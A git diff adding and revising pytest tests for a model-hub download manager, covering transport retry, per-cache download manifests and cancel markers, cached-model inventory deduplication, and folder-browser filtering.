+        ("model", "Org/Model", "Q4_K_M", ["--repo-id", "Org/Model", "--variant", "Q4_K_M"]),
+        ("dataset", "Org/Data", None, ["--repo-id", "Org/Data", "--dataset"]),
+    ):
+        registry = download_registry.DownloadRegistry()
+        key = download_registry.normalize_job_key(f"{repo_id}::{variant}" if variant else repo_id)
+        assert registry.claim(
+            key,
+            download_registry.TRANSPORT_XET,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            variant = variant,
+            blob_hashes = frozenset({"blob"}),
+        )[0]
+        generation = registry.current_generation(key)
+        spawned = []
+
+        def fake_spawn(
+            args,
+            _token,
+            *,
+            use_xet,
+            protected_blob_hashes = None,
+        ):
+            spawned.append((args, use_xet, protected_blob_hashes))
+            return _Proc(0)
+
+        def fake_retry_register(*_args, **kwargs):
+            assert kwargs["transport"] == download_registry.TRANSPORT_HTTP
+            return True
+
+        monkeypatch.setattr(download_lifecycle, "spawn_worker", fake_spawn)
+        monkeypatch.setattr(download_lifecycle, "register_worker", fake_retry_register)
+        assert register_worker(
+            registry,
+            key,
+            _Proc(1, b"xet failed"),
+            hf_token = None,
+            label = repo_id,
+            log_prefix = "Download",
+            logger = logging.getLogger("test"),
+            repo_type = repo_type,
+            repo_id = repo_id,
+            transport = download_registry.TRANSPORT_XET,
+            watch_name = f"{repo_type}-watch",
+        )
+
+        metadata = registry.get_job_metadata(key)
+        assert spawned == [(expected_args, False, None)]
+        assert metadata.transport == download_registry.TRANSPORT_HTTP
+        assert metadata.blob_hashes == frozenset({"blob"})
+        assert registry.current_generation(key) == generation
+
+
+def test_http_failure_remains_terminal(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(download_lifecycle.threading, "Thread", _ImmediateThread)
+    register_worker = download_lifecycle.register_worker
+    registry = download_registry.DownloadRegistry()
+    key = download_registry.normalize_repo_key("Org/Data")
+    assert registry.claim(
+        key,
+        download_registry.TRANSPORT_HTTP,
+        repo_type = "dataset",
+        repo_id = "Org/Data",
+    )[0]
     monkeypatch.setattr(
-        download_lifecycle.download_registry,
-        "download_transport_unavailable_reason",
-        lambda _transport: reason,
+        download_lifecycle,
+        "register_worker",
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(
+            AssertionError("HTTP failures must not retry")
+        ),
     )
-
-
-def test_resolve_effective_use_xet_keeps_http_when_not_requested(monkeypatch):
-    _set_xet_reason(monkeypatch, "should not be consulted")
-    assert download_lifecycle.resolve_effective_use_xet(False) is False
-
-
-def test_resolve_effective_use_xet_keeps_xet_when_available(monkeypatch):
-    _set_xet_reason(monkeypatch, None)
-    assert download_lifecycle.resolve_effective_use_xet(True) is True
-
-
-def test_resolve_effective_use_xet_downgrades_when_xet_unavailable(monkeypatch):
-    _set_xet_reason(monkeypatch, "Xet transport is unavailable because hf_xet is not installed.")
-    assert download_lifecycle.resolve_effective_use_xet(True) is False
+    assert register_worker(
+        registry,
+        key,
+        _Proc(1, b"http failed"),
+        hf_token = None,
+        label = "Org/Data",
+        log_prefix = "Download",
+        logger = logging.getLogger("test"),
+        repo_type = "dataset",
+        repo_id = "Org/Data",
+        transport = download_registry.TRANSPORT_HTTP,
+        watch_name = "dataset-watch",
+    )
+    assert registry.get_job(key).state == "error"
diff --git a/studio/backend/hub/tests/test_download_manifest_scoping.py b/studio/backend/hub/tests/test_download_manifest_scoping.py
new file mode 100644
index 0000000000..966eeaf0c2
--- /dev/null
+++ b/studio/backend/hub/tests/test_download_manifest_scoping.py
@@ -0,0 +1,62 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+from types import SimpleNamespace
+
+from hub.utils import download_manifest, state_dir
+
+
+def _write_manifest(path, payload):
+    path.parent.mkdir(parents = True, exist_ok = True)
+    path.write_text(json.dumps(payload), encoding = "utf-8")
+
+
+def test_purge_state_preserves_active_legacy_when_deleting_inactive_cache(monkeypatch, tmp_path):
+    """A scoped delete of an inactive cache must not erase the unscoped legacy
+    state, which _legacy_state_applies attributes to the active cache."""
+    active = tmp_path / "active" / "hub"
+    previous = tmp_path / "previous" / "hub"
+    for path in (active, previous):
+        path.mkdir(parents = True)
+
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = str(active)),
+    )
+
+    # Unowned legacy manifest -> belongs to the active cache.
+    legacy = state_dir.manifest_path("model", "Org/Model")
+    _write_manifest(legacy, {"version": 1})
+    # The inactive cache's own scoped copy is the one being deleted.
+    scoped = state_dir.manifest_path("model", "Org/Model", hub_cache = str(previous))
+    _write_manifest(scoped, {"version": 1, "hub_cache": str(previous)})
+
+    removed = download_manifest.purge_state("model", "Org/Model", hub_cache = str(previous))
+
+    assert removed is True
+    assert not scoped.is_file()  # the inactive cache's copy is gone
+    assert legacy.is_file()  # the active cache's legacy state survives
+
+
+def test_purge_state_removes_legacy_owned_by_the_deleted_cache(monkeypatch, tmp_path):
+    """A legacy file that recorded the deleted cache as its owner is purged."""
+    active = tmp_path / "active" / "hub"
+    previous = tmp_path / "previous" / "hub"
+    for path in (active, previous):
+        path.mkdir(parents = True)
+
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = str(active)),
+    )
+
+    legacy = state_dir.manifest_path("model", "Org/Model")
+    _write_manifest(legacy, {"version": 1, "hub_cache": str(previous)})
+
+    removed = download_manifest.purge_state("model", "Org/Model", hub_cache = str(previous))
+
+    assert removed is True
+    assert not legacy.is_file()  # owned by the deleted cache -> purged
diff --git a/studio/backend/hub/tests/test_empty_variant_folder.py b/studio/backend/hub/tests/test_empty_variant_folder.py
index 33bf6c6819..3ed8e69e0d 100644
--- a/studio/backend/hub/tests/test_empty_variant_folder.py
+++ b/studio/backend/hub/tests/test_empty_variant_folder.py
@@ -120,10 +120,16 @@ def _force_compute_to_raise(monkeypatch):
 
     monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False)
     monkeypatch.setattr(
-        gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False
+        gguf_variants,
+        "list_gguf_variants_from_hf_cache",
+        lambda repo_id, root = None: None,
+        raising = False,
     )
     monkeypatch.setattr(
-        gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False
+        gguf_variants,
+        "list_partial_gguf_variants_from_state",
+        lambda repo_id, hub_cache = None: None,
+        raising = False,
     )
 
 
@@ -133,7 +139,11 @@ def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch):
     import asyncio
 
     _force_compute_to_raise(monkeypatch)
-    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+    monkeypatch.setattr(
+        gguf_variants,
+        "list_empty_gguf_variant_dirs",
+        lambda repo_id, root = None: {"UD-IQ1_S"},
+    )
 
     resp = asyncio.run(
         gguf_variants.get_gguf_variants_response(
@@ -152,7 +162,11 @@ def test_get_variants_reraises_when_no_cleanable(monkeypatch):
     from fastapi import HTTPException
 
     _force_compute_to_raise(monkeypatch)
-    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set())
+    monkeypatch.setattr(
+        gguf_variants,
+        "list_empty_gguf_variant_dirs",
+        lambda repo_id, root = None: set(),
+    )
 
     try:
         asyncio.run(
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index f05d8359ec..fa5862a13c 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -2,6 +2,7 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import asyncio
+import json
 import sys
 from pathlib import Path
 from types import SimpleNamespace
@@ -36,6 +37,20 @@ from hub.utils import (
 from hub.workers import hf_download
 
 
+@pytest.fixture(autouse = True)
+def _denylist_inert(monkeypatch):
+    # The browse tests here exercise allowlist containment, symlink safety and
+    # the sensitive-name filter, not the system-directory denylist (which has
+    # its own suite in tests/test_browse_denylist.py). On macOS tmp_path
+    # resolves under /private/var, a denied prefix, so _resolve_browse_target
+    # would 403 the fixture dirs before that logic runs. Keep the denylist inert
+    # so these assertions hold on every platform. folder_browser binds
+    # is_denied_system_path at import, so patch it on that module, not on
+    # scan_folders. The "rejects" cases still 403 via the allowlist/sensitive
+    # checks, and the non-browse tests never call it.
+    monkeypatch.setattr(folder_browser, "is_denied_system_path", lambda _p: False)
+
+
 def _repo(repo_id: str, files: list[SimpleNamespace], repo_path: Path):
     return SimpleNamespace(
         repo_id = repo_id,
@@ -88,6 +103,236 @@ def test_big_endian_detection_ignores_model_name_be_token():
     )
 
 
+def _cached_model_row(tmp_path: Path, *, partial: bool, active_cache: bool | None, size_bytes: int):
+    path = tmp_path / f"cache-{active_cache}-{partial}-{size_bytes}"
+    return model_common._local_model_info(
+        scan_path = path,
+        load_path = path,
+        source = "hf_cache",
+        model_format = "safetensors",
+        model_id = "Org/Model",
+        partial = partial,
+        active_cache = active_cache,
+        size_bytes = size_bytes,
+    )
+
+
+@pytest.mark.parametrize("reverse", [False, True])
+def test_local_inventory_prefers_complete_previous_cache_copy(tmp_path, reverse):
+    active_partial = _cached_model_row(
+        tmp_path,
+        partial = True,
+        active_cache = True,
+        size_bytes = 20,
+    )
+    previous_complete = _cached_model_row(
+        tmp_path,
+        partial = False,
+        active_cache = False,
+        size_bytes = 10,
+    )
+    rows = [active_partial, previous_complete]
+    if reverse:
+        rows.reverse()
+
+    result = local_inventory._dedupe_local_models(rows)
+
+    assert result == [previous_complete]
+
+
+def test_local_inventory_compares_all_non_active_cache_copies(tmp_path):
+    inactive_partial = _cached_model_row(
+        tmp_path,
+        partial = True,
+        active_cache = False,
+        size_bytes = 20,
+    )
+    custom_complete = _cached_model_row(
+        tmp_path,
+        partial = False,
+        active_cache = None,
+        size_bytes = 10,
+    )
+
+    assert local_inventory._dedupe_local_models([inactive_partial, custom_complete]) == [
+        custom_complete
+    ]
+
+
+def test_local_inventory_prefers_active_cache_when_copies_are_equally_complete(tmp_path):
+    previous = _cached_model_row(
+        tmp_path,
+        partial = False,
+        active_cache = False,
+        size_bytes = 20,
+    )
+    active = _cached_model_row(
+        tmp_path,
+        partial = False,
+        active_cache = True,
+        size_bytes = 10,
+    )
+
+    assert local_inventory._dedupe_local_models([previous, active]) == [active]
+
+
+def test_loaded_repo_match_accepts_previous_cache_snapshot_path(monkeypatch, tmp_path):
+    repo_dir = tmp_path / "old-hub" / "models--Org--Model"
+    snapshot = repo_dir / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+    monkeypatch.setattr(deletion, "iter_repo_cache_dirs", lambda *_args: iter([repo_dir]))
+
+    assert deletion._loaded_id_matches_repo(str(snapshot), "Org/Model") is True
+    assert deletion._loaded_id_matches_repo(str(snapshot / "model.gguf"), "Org/Model") is True
+    assert deletion._loaded_id_matches_repo(str(tmp_path / "other"), "Org/Model") is False
+
+
+def test_cached_inventory_loads_previous_cache_copy_by_snapshot(monkeypatch, tmp_path):
+    active_hub = tmp_path / "active-hub"
+    previous_repo = tmp_path / "previous-hub" / "models--Org--Model"
+    snapshot = previous_repo / "snapshots" / "revision"
+    snapshot.mkdir(parents = True)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = active_hub),
+    )
+
+    fields = cache_inventory._cache_inventory_fields(
+        "Org/Model",
+        "safetensors",
+        repo_path = previous_repo,
+        snapshot_path = snapshot,
+    )
+
+    assert fields["load_id"] == str(snapshot)
+
+
+def test_cached_inventory_keeps_repo_id_for_active_cache(monkeypatch, tmp_path):
+    active_hub = tmp_path / "active-hub"
+    active_repo = active_hub / "models--Org--Model"
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = active_hub),
+    )
+
+    fields = cache_inventory._cache_inventory_fields(
+        "Org/Model",
+        "safetensors",
+        repo_path = active_repo,
+    )
+
+    assert fields["load_id"] == "Org/Model"
+
+
+def test_cached_inventory_prefers_active_copy_when_completeness_matches():
+    previous = {"partial": False, "active_cache": False, "size_bytes": 200}
+    active = {"partial": False, "active_cache": True, "size_bytes": 100}
+
+    assert cache_inventory._prefer_cache_row(active, previous) is True
+    assert cache_inventory._prefer_cache_row(previous, active) is False
+
+
+def test_cached_inventory_prefers_complete_copy_before_active_cache():
+    previous = {"partial": False, "active_cache": False, "size_bytes": 100}
+    active_partial = {"partial": True, "active_cache": True, "size_bytes": 200}
+
+    assert cache_inventory._prefer_cache_row(previous, active_partial) is True
+    assert cache_inventory._prefer_cache_row(active_partial, previous) is False
+
+
+def test_inventory_scans_every_dynamic_cache_root(monkeypatch, tmp_path):
+    first = tmp_path / "first-hub"
+    second = tmp_path / "second-hub"
+    unreadable = tmp_path / "unreadable-hub"
+    first.mkdir()
+    second.mkdir()
+    unreadable.mkdir()
+    scanned = []
+
+    monkeypatch.setattr(
+        inventory_scan,
+        "hf_cache_roots",
+        lambda: [first, unreadable, second],
+    )
+
+    def scan_cache(cache_dir):
+        path = Path(cache_dir)
+        scanned.append(path)
+        if path == unreadable:
+            raise PermissionError("unreadable")
+        return SimpleNamespace(cache_dir = cache_dir)
+
+    monkeypatch.setattr("huggingface_hub.scan_cache_dir", scan_cache)
+
+    result = inventory_scan._compute_all_hf_cache_scans()
+
+    assert scanned == [first, unreadable, second]
+    assert [Path(scan.cache_dir) for scan in result] == [first, second]
+
+
+def test_inventory_applies_download_state_to_its_owning_cache(monkeypatch, tmp_path):
+    state_root = tmp_path / "state"
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    repo_id = "Org/Model"
+    repo_name = "models--Org--Model"
+    repo_a = cache_a / repo_name
+    repo_b = cache_b / repo_name
+    snapshot_a = repo_a / "snapshots" / "revision"
+    snapshot_b = repo_b / "snapshots" / "revision"
+    snapshot_a.mkdir(parents = True)
+    snapshot_b.mkdir(parents = True)
+    (snapshot_a / "config.json").write_bytes(b"x")
+    (snapshot_b / "config.json").write_bytes(b"xx")
+
+    monkeypatch.setattr(state_dir, "cache_root", lambda: state_root)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = cache_b),
+    )
+    assert download_manifest.write_manifest(
+        "model",
+        repo_id,
+        None,
+        [download_manifest.ExpectedFile(path = "config.json", size = 2)],
+        "http",
+        hub_cache = cache_a,
+    )
+
+    assert inventory_scan.is_snapshot_partial("model", repo_id, repo_a) is True
+    assert inventory_scan.is_snapshot_partial("model", repo_id, repo_b) is False
+    assert inventory_scan.partial_transport_for("model", repo_id, None, repo_a) == "http"
+    assert inventory_scan.partial_transport_for("model", repo_id, None, repo_b) is None
+
+
+def test_inventory_scopes_cancel_markers_to_their_owning_cache(monkeypatch, tmp_path):
+    state_root = tmp_path / "state"
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    repo_id = "Org/Model"
+    repo_name = "models--Org--Model"
+    repo_a = cache_a / repo_name
+    repo_b = cache_b / repo_name
+    repo_a.mkdir(parents = True)
+    repo_b.mkdir(parents = True)
+
+    monkeypatch.setattr(state_dir, "cache_root", lambda: state_root)
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = cache_b),
+    )
+    assert download_manifest.write_cancel_marker(
+        "model",
+        repo_id,
+        "Q4_K_M",
+        "xet",
+        hub_cache = cache_a,
+    )
+
+    assert inventory_scan.is_variant_partial(repo_id, "Q4_K_M", repo_cache_dir = repo_a) is True
+    assert inventory_scan.is_variant_partial(repo_id, "Q4_K_M", repo_cache_dir = repo_b) is False
+
+
 def test_list_local_gguf_variants_skips_big_endian_sibling(tmp_path):
     (tmp_path / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 100)
     (tmp_path / "model-Q4_K_M.gguf").write_bytes(b"y" * 10)
@@ -105,6 +350,10 @@ def test_repo_id_validation_accepts_hf_repo_id_contract(repo_id):
     assert paths.is_valid_repo_id(repo_id)
 
 
+def test_repo_id_validation_accepts_max_length_namespaced_repo():
+    assert paths.is_valid_repo_id(f"{'a' * 96}/{'b' * 96}")
+
+
 @pytest.mark.parametrize(
     "repo_id",
     [
@@ -121,6 +370,150 @@ def test_repo_id_validation_rejects_unsafe_or_invalid_ids(repo_id):
     assert not paths.is_valid_repo_id(repo_id)
 
 
+def test_download_state_preserves_readable_keys_when_safe(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+
+    path = state_dir.marker_path("model", "Owner/Repo", "Q4_K_M")
+
+    assert path is not None
+    assert path.name == "models--owner--repo--variant--q4_k_m.json"
+
+
+@pytest.mark.parametrize("variant", ["bad variant with spaces", "q" * 64])
+def test_download_state_bounds_long_repo_variant_filenames(monkeypatch, tmp_path, variant):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+    repo_id = f"{'a' * 96}/{'b' * 96}"
+
+    assert paths.is_valid_repo_id(repo_id)
+    assert download_manifest.write_cancel_marker("model", repo_id, variant, "http")
+    assert download_manifest.write_manifest(
+        "model",
+        repo_id,
+        variant,
+        [download_manifest.ExpectedFile(path = "model.gguf", size = 1)],
+        "http",
+    )
+
+    hub_cache = download_manifest._canonical_hub_cache()
+    marker_path = state_dir.marker_path(
+        "model",
+        repo_id,
+        variant,
+        hub_cache = hub_cache,
+    )
+    manifest_path = state_dir.manifest_path(
+        "model",
+        repo_id,
+        variant,
+        hub_cache = hub_cache,
+    )
+
+    assert marker_path is not None
+    assert manifest_path is not None
+    assert "--sha256-" in marker_path.name
+    assert len(marker_path.name.encode("utf-8")) <= 255
+    assert len(f".{marker_path.name}.tmp-00000000".encode("utf-8")) <= 255
+    assert download_manifest.has_cancel_marker("model", repo_id, variant)
+    assert download_manifest.read_manifest("model", repo_id, variant) is not None
+    assert list(download_manifest.iter_variant_markers("model", repo_id)) == [
+        (variant, marker_path)
+    ]
+    assert list(download_manifest.iter_variant_manifests("model", repo_id)) == [
+        (variant, manifest_path)
+    ]
+
+
+def test_download_state_isolated_across_hub_cache_switches(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    selected = SimpleNamespace(hub_cache = cache_a)
+
+    from utils import hf_cache_settings
+
+    monkeypatch.setattr(hf_cache_settings, "get_hf_cache_paths", lambda: selected)
+    expected_a = [download_manifest.ExpectedFile(path = "a.gguf", size = 1)]
+    expected_b = [download_manifest.ExpectedFile(path = "b.gguf", size = 2)]
+
+    assert download_manifest.write_manifest("model", "Owner/Repo", "Q4_K_M", expected_a)
+    assert download_manifest.write_cancel_marker("model", "Owner/Repo", "Q4_K_M", "http")
+
+    selected.hub_cache = cache_b
+    assert download_manifest.write_manifest("model", "Owner/Repo", "Q4_K_M", expected_b)
+
+    manifest_b = download_manifest.read_manifest("model", "Owner/Repo", "Q4_K_M")
+    manifest_a = download_manifest.read_manifest(
+        "model",
+        "Owner/Repo",
+        "Q4_K_M",
+        hub_cache = cache_a,
+    )
+
+    assert manifest_b is not None and manifest_b.expected_files == tuple(expected_b)
+    assert manifest_a is not None and manifest_a.expected_files == tuple(expected_a)
+    assert not download_manifest.has_cancel_marker("model", "Owner/Repo", "Q4_K_M")
+    assert download_manifest.has_cancel_marker(
+        "model",
+        "Owner/Repo",
+        "Q4_K_M",
+        hub_cache = cache_a,
+    )
+    assert len(list((tmp_path / "hub-state" / "manifests").rglob("*.json"))) == 2
+
+
+def test_legacy_unscoped_download_state_falls_back_only_for_selected_cache(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path)
+    cache_a = tmp_path / "cache-a"
+    cache_b = tmp_path / "cache-b"
+    monkeypatch.setattr(
+        "utils.hf_cache_settings.get_hf_cache_paths",
+        lambda: SimpleNamespace(hub_cache = cache_a),
+    )
+    manifest = state_dir.manifest_path("model", "Owner/Repo", "Q4_K_M")
+    marker = state_dir.marker_path("model", "Owner/Repo", "Q4_K_M")
+    assert manifest is not None and marker is not None
+    manifest.write_text(
+        json.dumps(
+            {
+                "version": 1,
+                "repo_id": "Owner/Repo",
+                "variant": "Q4_K_M",
+                "expected_files": [{"path": "model.gguf", "size": 10}],
+                "transport": "http",
+            }
+        ),
+        encoding = "utf-8",
+    )
+    marker.write_text(
+        json.dumps({"version": 1, "repo_id": "Owner/Repo", "variant": "Q4_K_M"}),
+        encoding = "utf-8",
+    )
+
+    assert download_manifest.read_manifest("model", "Owner/Repo", "Q4_K_M") is not None
+    assert download_manifest.has_cancel_marker("model", "Owner/Repo", "Q4_K_M")
+    assert list(download_manifest.iter_variant_manifests("model", "Owner/Repo")) == [
+        ("Q4_K_M", manifest)
+    ]
+    assert list(download_manifest.iter_variant_markers("model", "Owner/Repo")) == [
+        ("Q4_K_M", marker)
+    ]
+    assert (
+        download_manifest.read_manifest(
+            "model",
+            "Owner/Repo",
+            "Q4_K_M",
+            hub_cache = cache_b,
+        )
+        is None
+    )
+    assert not download_manifest.has_cancel_marker(
+        "model",
+        "Owner/Repo",
+        "Q4_K_M",
+        hub_cache = cache_b,
+    )
+
+
 class _RecordingLogger:
     def __init__(self):
         self.warnings = []
@@ -182,7 +575,8 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path):
     home = tmp_path / "home"
     (home / ".ssh").mkdir(parents = True)
     (home / "models").mkdir()
-    monkeypatch.setattr(folder_browser, "_build_browse_allowlist", lambda: [home])
+    # Accept and ignore the optional (media_roots, drive_roots) args the caller now passes.
+    monkeypatch.setattr(folder_browser, "_build_browse_allowlist", lambda *_a, **_k: [home])
 
     response = folder_browser.browse_folders_response(str(home), show_hidden = True)
 
@@ -355,8 +749,15 @@ def test_cached_gguf_scan_includes_variant_state_without_completed_gguf(monkeypa
         "Q4_K_M",
         [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 4096)],
         "http",
+        hub_cache = repo_path.parent,
+    )
+    assert download_manifest.write_cancel_marker(
+        "model",
+        "Org/PartialGguf",
+        "Q4_K_M",
+        "http",
+        hub_cache = repo_path.parent,
     )
-    assert download_manifest.write_cancel_marker("model", "Org/PartialGguf", "Q4_K_M", "http")
     monkeypatch.setattr(
         cache_inventory,
         "all_hf_cache_scans",
@@ -378,6 +779,288 @@ def test_cached_gguf_scan_includes_variant_state_without_completed_gguf(monkeypa
     assert row["capabilities"]["requires_variant"] is True
 
 
+def test_cached_gguf_scan_hides_infra_repos_without_user_downloads(monkeypatch, tmp_path):
+    probe = _repo(
+        "ggml-org/models",
+        [_file("tinyllamas/stories260K.gguf", 1_200_000)],
+        tmp_path / "probe",
+    )
+    embedder = _repo(
+        "unsloth/bge-small-en-v1.5-GGUF",
+        [_file("bge-small-en-v1.5-f16.gguf", 60_000_000)],
+        tmp_path / "embedder",
+    )
+    chat = _repo("Org/Chat-GGUF", [_file("Q4_K_M.gguf", 100)], tmp_path / "chat")
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [probe, embedder, chat])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda _repo_id, _path: False,
+    )
+
+    result = {"cached": cache_inventory._scan_cached_gguf()}
+
+    assert [row["repo_id"] for row in result["cached"]] == ["Org/Chat-GGUF"]
+
+
+def test_cached_gguf_scan_keeps_infra_repo_with_user_downloaded_variant(monkeypatch, tmp_path):
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    embedder = _repo(
+        "unsloth/bge-small-en-v1.5-GGUF",
+        [
+            _file("bge-small-en-v1.5-f16.gguf", 60_000_000),
+            _file("bge-small-en-v1.5-Q8_0.gguf", 35_000_000),
+        ],
+        tmp_path / "embedder",
+    )
+    # Variant manifests only exist for user Hub downloads, not auto-downloads.
+    assert download_manifest.write_manifest(
+        "model",
+        "unsloth/bge-small-en-v1.5-GGUF",
+        "Q8_0",
+        [download_manifest.ExpectedFile(path = "bge-small-en-v1.5-Q8_0.gguf", size = 35_000_000)],
+        "http",
+        hub_cache = Path(embedder.repo_path).parent,
+    )
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [embedder])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda _repo_id, _path: False,
+    )
+
+    result = {"cached": cache_inventory._scan_cached_gguf()}
+
+    assert [row["repo_id"] for row in result["cached"]] == ["unsloth/bge-small-en-v1.5-GGUF"]
+    assert result["cached"][0]["capabilities"]["can_chat"] is False
+
+
+def test_cached_models_scan_hides_non_gguf_embedder(monkeypatch, tmp_path):
+    embedder_path = tmp_path / "hub" / "models--unsloth--bge-small-en-v1.5"
+    embedder_path.mkdir(parents = True)
+    embedder = _repo(
+        "unsloth/bge-small-en-v1.5",
+        [_file("config.json", 12), _file("model.safetensors", 130_000_000)],
+        embedder_path,
+    )
+    chat_path = tmp_path / "hub" / "models--Org--Chat"
+    chat_path.mkdir(parents = True)
+    chat = _repo(
+        "Org/Chat",
+        [_file("config.json", 12), _file("model.safetensors", 100)],
+        chat_path,
+    )
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [embedder, chat])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda _kind, _repo_id, _path: False,
+    )
+
+    result = {"cached": cache_inventory._scan_cached_models()}
+
+    assert [row["repo_id"] for row in result["cached"]] == ["Org/Chat"]
+
+
+def test_cached_scans_hide_embedders_configured_by_cache_path(monkeypatch, tmp_path):
+    from core.rag import config as rag_config
+
+    gguf_path = tmp_path / "hub" / "models--Org--PathEmbedder-GGUF"
+    gguf_path.mkdir(parents = True)
+    gguf = _repo(
+        "Org/PathEmbedder-GGUF",
+        [_file("model-F16.gguf", 60_000_000)],
+        gguf_path,
+    )
+    model_path = tmp_path / "hub" / "models--Org--PathEmbedder"
+    model_path.mkdir(parents = True)
+    model = _repo(
+        "Org/PathEmbedder",
+        [_file("config.json", 12), _file("model.safetensors", 130_000_000)],
+        model_path,
+    )
+    monkeypatch.setattr(
+        rag_config,
+        "effective_embedding_model",
+        lambda: str(model_path),
+    )
+    monkeypatch.setattr(
+        rag_config,
+        "effective_gguf_repo",
+        lambda: str(gguf_path),
+    )
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [gguf, model])],
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda _repo_id, _path: False,
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda _kind, _repo_id, _path: False,
+    )
+
+    assert cache_inventory._scan_cached_gguf() == []
+    assert cache_inventory._scan_cached_models() == []
+
+
+def test_cached_scans_hide_embedders_configured_by_snapshot_path(monkeypatch, tmp_path):
+    from core.rag import config as rag_config
+
+    gguf_path = tmp_path / "hub" / "models--Org--SnapshotEmbedder-GGUF"
+    gguf_snapshot = gguf_path / "snapshots" / "gguf-revision"
+    gguf_snapshot.mkdir(parents = True)
+    gguf = _repo(
+        "Org/SnapshotEmbedder-GGUF",
+        [_file("model-F16.gguf", 60_000_000)],
+        gguf_path,
+    )
+    model_path = tmp_path / "hub" / "models--Org--SnapshotEmbedder"
+    model_snapshot = model_path / "snapshots" / "model-revision"
+    model_snapshot.mkdir(parents = True)
+    model = _repo(
+        "Org/SnapshotEmbedder",
+        [_file("config.json", 12), _file("model.safetensors", 130_000_000)],
+        model_path,
+    )
+    monkeypatch.setattr(
+        rag_config,
+        "effective_embedding_model",
+        lambda: str(model_snapshot),
+    )
+    monkeypatch.setattr(
+        rag_config,
+        "effective_gguf_repo",
+        lambda: str(gguf_snapshot),
+    )
+    monkeypatch.setattr(
+        cache_inventory,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [gguf, model])],
+    )
+
+    def _resolve_snapshot(repo_path):
+        return str(
+            {
+                gguf_path: gguf_snapshot,
+                model_path: model_snapshot,
+            }.get(Path(repo_path), Path(repo_path))
+        )
+
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "resolve_hf_cache_realpath",
+        _resolve_snapshot,
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_gguf_repo_partial",
+        lambda _repo_id, _path: False,
+    )
+    monkeypatch.setattr(
+        cache_inventory.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda _kind, _repo_id, _path: False,
+    )
+
+    assert cache_inventory._scan_cached_gguf() == []
+    assert cache_inventory._scan_cached_models() == []
+
+
+def test_cached_models_scan_keeps_unrelated_repo_with_custom_generic_embedder(
+    monkeypatch, tmp_path
+):
+    # A custom embedder with a generic basename ("org/model") must be hidden by
+    # EXACT repo-id match only. An unrelated cached chat model whose id merely
+    # contains "model" (e.g. "user/model-chat") must stay on device: substring
+    # basename matching used to drop real chat models from the inventory.
+    from core.rag import config as rag_config
+
